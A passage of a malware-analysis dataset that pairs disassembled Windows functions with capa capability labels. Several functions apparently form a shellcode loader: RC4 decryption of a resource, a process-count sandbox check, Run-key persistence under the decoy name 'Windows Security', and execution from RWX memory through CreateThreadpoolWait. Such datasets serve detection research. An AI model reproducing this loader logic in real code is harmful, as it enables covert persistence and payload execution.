joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002b9f8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140033030
sub rsp, rax
mov rax, qword [0x140049038]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14002287c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002ba47
mov rax, rbp
jmp 0x14002bb4f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x4b210]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14002cce0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x4b210]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14002bb4b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002bb4b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14002cce0
test rax, rax
js 0x14002bb4b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14002bb4b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14002bb3d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14002bb3d
cmp byte [rcx], 0xd
jne 0x14002bb23
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002bb32
cmp byte [rcx + 1], 0xa
jne 0x14002bb32
inc rcx
jmp 0x14002bb32
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x49960]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14002bb05
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002bb4f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140033000
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14002be6c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002be82
mov al, 1
jmp 0x14002bee2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002be93
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14002bee0
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002870c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002bee0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002bee0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14002bee0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14002bee2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14002c080
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14004b210]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14002c0d7
cmp word [rdx], r13w
jne 0x14002c0d7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14002c0dc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14002c201
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14002c222
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14002c115
mov rdx, r9
mov word [rbx], cx
jmp 0x14002c13c
cmp r9, r8
jae 0x14002c14c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14002c0f6
jmp 0x14002c201
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002c1f6
cmp dword [rsp + 0x80], esi
je 0x14002c1f6
lea r8, [0x14004b210]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14002c1ce
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14002c19e
mov word [rbx], r13w
jmp 0x14002c1fe
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14002c1ab
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14002c1fe
cmp word [rsp + 0x70], r13w
jne 0x14002c1db
cmp rbx, r14
je 0x14002c198
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14002cce8
cmp word [rsp + 0x70], r13w
je 0x14002c201
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14004b210]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002c1fb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14002c201
Function at 0x140030dbc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400140ec
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140030e46
cmp byte [rbp - 0x21], r15b
je 0x140030e41
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140030e7c
call fcn.1400213c8
test eax, eax
jne 0x140030e68
cmp byte [rbp - 0x21], r15b
je 0x140030e60
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140030e7c
cmp byte [rbp - 0x21], r15b
je 0x140030e79
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400203e4
test eax, eax
jne 0x140030f1c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400140ec
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140030ebb
cmp byte [rbp - 0x21], r15b
je 0x140030ef0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140030ef0
call fcn.1400213c8
test eax, eax
jne 0x140030edc
cmp byte [rbp - 0x21], r15b
je 0x140030ed5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140030ef0
cmp byte [rbp - 0x21], r15b
je 0x140030eed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400203e4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140030f1c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140030f1f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140030f2d
mov rcx, rdi
call fcn.140020fec
cmp byte [rbp + 0x3f], r15b
je 0x140030f3c
mov rcx, qword [rbp + 0x27]
call fcn.140020fec
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140033120
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033148
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140033148
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x180004a10
Capabilities:
Encode data using xor

Disassembly:
test r8d, r8d
je 0x180004a41
lea r10, [0x180013c20]
nop dword [rax]
movzx eax, byte [rdx]
mov r9d, ecx
lea rdx, [rdx + 1]
shr r9, 0x18
xor r9, rax
mov eax, ecx
mov ecx, dword [r10 + r9*4]
shl eax, 8
xor ecx, eax
dec r8d
jne 0x180004a20
mov eax, ecx
ret

Function at 0x180006ed0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
cmp dword [0x180014ce0], 0
mov r11d, edx
mov rbx, rcx
lea rdi, [0x180014cf0]
jne 0x180006f9a
xor r9d, r9d
mov r10, rdi
nop word [rax + rax]
mov eax, r9d
shr eax, 1
test r9b, 1
je 0x180006f10
xor eax, 0xedb88320
test al, 1
je 0x180006f1d
shr eax, 1
xor eax, 0xedb88320
jmp 0x180006f1f
shr eax, 1
test al, 1
je 0x180006f2c
shr eax, 1
xor eax, 0xedb88320
jmp 0x180006f2e
shr eax, 1
test al, 1
je 0x180006f3b
shr eax, 1
xor eax, 0xedb88320
jmp 0x180006f3d
shr eax, 1
test al, 1
je 0x180006f4a
shr eax, 1
xor eax, 0xedb88320
jmp 0x180006f4c
shr eax, 1
test al, 1
je 0x180006f59
shr eax, 1
xor eax, 0xedb88320
jmp 0x180006f5b
shr eax, 1
test al, 1
je 0x180006f68
shr eax, 1
xor eax, 0xedb88320
jmp 0x180006f6a
shr eax, 1
test al, 1
je 0x180006f77
shr eax, 1
xor eax, 0xedb88320
jmp 0x180006f79
shr eax, 1
inc r9d
mov dword [r10], eax
add r10, 4
cmp r9d, 0x100
jl 0x180006f00
mov dword [0x180014ce0], 1
test edx, edx
je 0x180006fbf
nop
movzx ecx, byte [rbx]
mov eax, r8d
lea rbx, [rbx + 1]
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r8d, dword [rdi + rdx*4]
xor r8d, eax
dec r11d
jne 0x180006fa0
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov eax, r8d
ret
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbp, r8
mov r15d, edx
mov r14, rcx
mov esi, pe_nt_image_headers64
xor edi, edi
lea rcx, [rsp + 0x120]
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140002640
mov r8d, esi
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140002640
mov ecx, edi
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
mov byte [rsp + rdx + 0x20], cl
and eax, 0x7f
lea rdx, [rdx + 1]
inc ecx
movzx eax, byte [rax + rbp]
mov byte [rsp + rdx + 0x11f], al
cmp ecx, esi
jl 0x140001070
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x120]
movzx r8d, byte [rsp + rdx + 0x20]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400010c5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x20], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x1400010a0
mov edx, edi
test r15d, r15d
je 0x140001156
mov r10, r15
nop dword [rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x140001103
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0x20]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x140001125
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx ecx, byte [r8 + rdi]
add rcx, r9
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r14], cl
inc r14
sub r10, 1
jne 0x1400010f0
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140001540
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001190
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001221
xor edx, edx
mov qword [rsp + 0x280], rbx
mov r8d, 0x234
mov dword [rsp + 0x20], 0x238
lea rcx, [rsp + 0x24]
call fcn.140002640
lea rdx, [rsp + 0x20]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000123a
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001200
cmp ebx, 0x28
jle 0x14000123a
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001540
add rsp, 0x270
pop rdi
ret
mov ecx, 1
call fcn.140003190
int3
Function at 0x140001250
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.140002640
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400012f1
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400012b4
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001540
add rsp, 0x158
ret

Function at 0x140001310
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, rdx
xor ecx, ecx
mov edx, 0x64
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000145f
mov rdx, rbx
mov qword [rsp + 0xd0], rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x140001378
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000137f
xor eax, eax
jmp 0x140001457
mov rcx, rax
mov qword [rsp + 0xe0], rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14000144f
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movups xmm2, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movq rbx, xmm2
movups xmm1, xmmword [rax + 0x40]
shr rbx, 0x20
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x80], xmm1
movsd xmm1, qword [rax + 0x80]
movd eax, xmm2
movaps xmmword [rsp + 0x20], xmm2
movaps xmmword [rsp + 0x90], xmm0
movsd qword [rsp + 0xa0], xmm1
test eax, eax
je 0x140001410
call fcn.140001190
test ebx, ebx
je 0x140001419
call fcn.140001250
lea eax, [rbp - 0x88]
mov ecx, eax
mov dword [rsi], eax
call fcn.140001564
mov r8d, dword [rsi]
lea rdx, [rdi + 0x88]
mov rcx, rax
mov rbx, rax
call fcn.14000a990
mov edx, dword [rsi]
lea r8, [rsp + 0x28]
mov rcx, rbx
call section..text
mov rax, rbx
mov rdi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001540
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rsi
ret
Function at 0x140001480
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait

Disassembly:
push rsi
sub rsp, 0x30
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0
call fcn.140001310
mov rsi, rax
test rax, rax
je 0x14000151c
mov qword [rsp + 0x40], rbx
mov r9d, 0x40
mov ebx, dword [rsp + 0x20]
mov r8d, 0x3000
mov edx, ebx
mov qword [rsp + 0x48], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.14000a990
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rsi
ret

Function at 0x140003190
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140002f64
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f64
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f64
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f64
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f64
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f64
cmp dword [rcx + 0xf8], esi
je 0x140002f64
mov ecx, r14d
call fcn.1400030ac
mov ecx, 2
call fcn.140004504
nop
cmp byte [0x140015120], 0
jne 0x14000302e
mov r15d, 1
mov eax, r15d
xchg dword [0x140015110], eax
test ebx, ebx
jne 0x140002fd7
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140015118]
cmp rcx, rax
je 0x140002fce
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140001d04]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140015378]
jmp 0x140002fe3
cmp ebx, r15d
jne 0x140002fe9
lea rcx, [0x140015390]
call fcn.140004008
nop
test ebx, ebx
jne 0x140003000
lea rdx, [0x14000b320]
lea rcx, [0x14000b300]
call fcn.1400039bc
lea rdx, [0x14000b330]
lea rcx, [0x14000b328]
call fcn.1400039bc
movzx eax, byte [0x140015120]
test esi, esi
cmove eax, r15d
mov byte [0x140015120], al
jmp 0x14000302e
mov ecx, 2
call fcn.140004558
test esi, esi
jne 0x140003045
mov ecx, r14d
call fcn.140003060
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140002ef4
Function at 0x18055a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18055a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18055a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18055a06f
add dl, dl
jne 0x18055a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18055a0f6
xor eax, eax
add dl, dl
jne 0x18055a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18055a1ad
add dl, dl
jne 0x18055a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18055a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18055a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18055a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18055a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18055a07e
mov eax, 1
add dl, dl
jne 0x18055a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18055a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18055a0fb
sub eax, ebx
mov ebx, 1
jne 0x18055a14c
mov ecx, 1
add dl, dl
jne 0x18055a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18055a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18055a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18055a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18055a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18055a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18055a15d
cmp eax, 0x7d00
jae 0x18055a19b
cmp eax, 0x500
jb 0x18055a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18055a07e
cmp eax, 0x7f
ja 0x18055a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18055a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18055a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18055a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14006596a
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1400fb480
mov qword [rsp + 8], rcx
sub rsp, 0x38
call fcn.1400fa4d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400fb4b7
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x140183020]
jmp 0x1400fb4bd
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x38
ret

Function at 0x140066699
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14009d0b0
mov rax, rcx
neg rcx
test rax, 7
je 0x14009d0cd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x14009d128
test al, 7
jne 0x14009d0c0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x14009d0e1
mov rdx, qword [rax - 8]
test dl, dl
je 0x14009d152
test dh, dh
je 0x14009d14c
shr rdx, 0x10
test dl, dl
je 0x14009d146
test dh, dh
je 0x14009d140
shr rdx, 0x10
test dl, dl
je 0x14009d13a
test dh, dh
je 0x14009d134
shr edx, 0x10
test dl, dl
je 0x14009d12e
test dh, dh
jne 0x14009d0e1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400669d7
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140099380
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140098d00
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400993bf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140183020]
jmp 0x1400993c9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret